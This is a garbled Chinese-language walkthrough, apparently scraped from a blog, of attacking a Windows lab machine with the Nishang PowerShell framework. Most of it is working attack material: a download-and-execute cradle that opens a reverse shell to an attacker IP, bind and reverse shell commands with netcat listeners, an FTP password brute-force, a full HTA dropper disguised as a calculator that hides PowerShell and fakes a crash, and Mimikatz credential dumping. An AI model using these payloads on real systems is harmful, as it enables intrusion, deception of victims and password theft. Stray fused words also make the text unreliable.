get-host
Import-Module .\nishang.psm1
Get-Help 腳本名稱 -full
獲得一些使用提示powershell iex (New-Object Net.WebClient).DownloadString('http:///Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]
(IEX爲遠程下載腳本)Invoke-Encode
腳原本將咱們現有的腳本編碼壓縮:Invoke-Encode -DataToEncode "nishang-master\Shells\Invoke-PowerShellTcp.ps1" -OutCommand
powershell -e [encodedscript]
-Port
須要正向監聽的端口或要反向鏈接的端口。-Bind
正向鏈接-IPAddress
選擇反向鏈接時須要鏈接到的IP地址-Reverse
反向鏈接Invoke-PowerShellTcp -Bind -Port 5330
nc -nv 192.168.17.131 5330
(這裏IP爲win10)nc -ltp 5330
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.17.130 -Port 5330
(這裏IP爲kali)Get-Help Invoke-PowerShellTcp -full
查看信息(如下爲部分,咱們能夠重點看語法、說明還有示例,這條命令所顯示的就是腳本中的註釋部分~)咱們能夠參考所學的socket編程,在wireshark中抓包,咱們能夠看到TCP數據包,腳本中將靶機做爲服務端,在創建三次握手後,服務端會向攻擊方發送數據html
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $stream.Write($sendbytes,0,$sendbytes.Length)
攻擊方獲取shell後輸入命令時,靶機會接收並執行相應命令,在輸出git
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
Invoke-BruteForce -ComputerName 192.168.80.129 -UserList C:\Users\ASUS\Desktop\username.txt -PasswordList C:\Users\ASUS\Desktop\pass.txt -Service ftp -verbose
wireshark中能夠看到當爆破後,ftp服務器端與本地的信息交互,本地確認完獲得結果後退出。github
# 獲取返回信息 $result = $ftpRequest.GetResponse() $message = $result.BannerMessage + $result.WelcomeMessage # 打印信息到控制檯 Write-Output "Match $username : $Password" $success = $true
Client
,利用該模塊生成各類感染的文件如HTA、Word,來執行powershell腳本發動攻擊。Out-HTA
生成帶有payload的hta文件:Out-HTA -PayloadScript C:\Users\ASUS\Desktop\nishang-master\Shells\Invoke-PowerShellTcpOneLine.ps1
首先生成一個能夠彈出系統計算器的代碼shell
<title>Caculate</title> <center> <h1>Caculate.exe</h1> <br> <h2>Loading...</h2> <br> [<marquee scrollAmount=4 width=350 direction=right>|||||||||||||</marquee>]100% <br> </center> <script language="VBScript"> Set Hackdo = CreateObject("Wscript.Shell") Set Check = CreateObject("Scripting.FileSystemObject") If Check.FileExists(Hackdo.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") Then Hackdo.Run "powershell.exe -nop -w hidden calc.exe" End If </script>Hackdo.Run爲調用Wscript.shell中的運行外部程序的函數——run,後面跟着一條powershell命令,用powershell開啓計算器。
而後咱們能夠設置出僞裝閃退效果,在後面添加下面代碼編程
Hackdo.Run "taskkill /f /im mshta.exe"這裏咱們只是殺死了
mshta.exe
這個進程,而shellcode是注入在powershell中執行的,它的進程還在~Out-HTA -PayloadScript C:\nishang\Shells\Invoke-PowerShellTcpOneLine.ps1
,可是kali那邊監聽沒反應因而換成了直接遠程調用腳本,並用vbhide
用來隱藏powershell的彈窗。主要代碼以下:windows
<body> <title>XXX-exp</title> <center> <h1>Caculate.exe</h1> <br> <h2>Loading...</h2> <br> [<marquee scrollAmount=4 width=350 direction=right>|||||||||||||</marquee>]100% <br> </center> <script language="VBScript"> Set Hackdo = CreateObject("Wscript.Shell") Set Check = CreateObject("Scripting.FileSystemObject") If Check.FileExists(Hackdo.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") Then Hackdo.Run "powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.80.131 -port 5330",vbhide Hackdo.Run "taskkill /f /im mshta.exe" End If </script> </body> </html>
out-hta
nc -lv 5330
終於獲取shell
服務器
Import-Module .\nishang.psm1
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"'
獲取密碼參考資料session